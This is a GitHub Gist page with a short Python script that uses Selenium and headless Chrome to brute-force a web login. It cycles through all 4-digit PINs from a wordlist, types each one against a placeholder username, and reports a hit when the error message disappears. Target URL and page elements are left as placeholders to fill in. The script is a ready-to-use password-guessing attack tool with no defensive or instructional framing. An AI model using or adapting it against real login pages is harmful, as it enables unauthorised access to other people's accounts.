Created
January 10, 2023 12:43
-
-
Save dubs3c/327495b2f26884d297cea4eaecddafaa to your computer and use it in GitHub Desktop.
brrute force login using selenium
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
from selenium import webdriver | |
from selenium.webdriver.common.by import By | |
from selenium.webdriver.chrome.options import Options | |
def crack(driver, pin:str): | |
driver.get("https://<website>"); | |
login_btn = driver.find_element(By.XPATH, "<xpath>") | |
driver.implicitly_wait(1) | |
login_btn.click() | |
username = driver.find_element("name", "<element>") | |
password = driver.find_element("name", "<element>") | |
username.send_keys("<username>") | |
password.send_keys(pin) | |
try: | |
error = driver.find_element(By.XPATH, "//span[@class='warning'][text()='<error message>']") | |
except Exception as e: | |
print(f"[+] Error message not found, did we find the correct pin? Pin: {pin}") | |
driver.quit() | |
quit() | |
options = Options() | |
options.headless = True | |
driver = webdriver.Chrome(options=options) # Optional argument, if not specified will search path. | |
print("[+] Ze cracking has begun...") | |
with open("4-digits-0000-9999.txt") as f: | |
for count, pin in enumerate(f.readlines()): | |
crack(driver, pin) | |
print("\r", end='') | |
print(f"[~] Trying {pin.strip()} ({count}/10000)", end="", flush=True) | |
driver.quit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment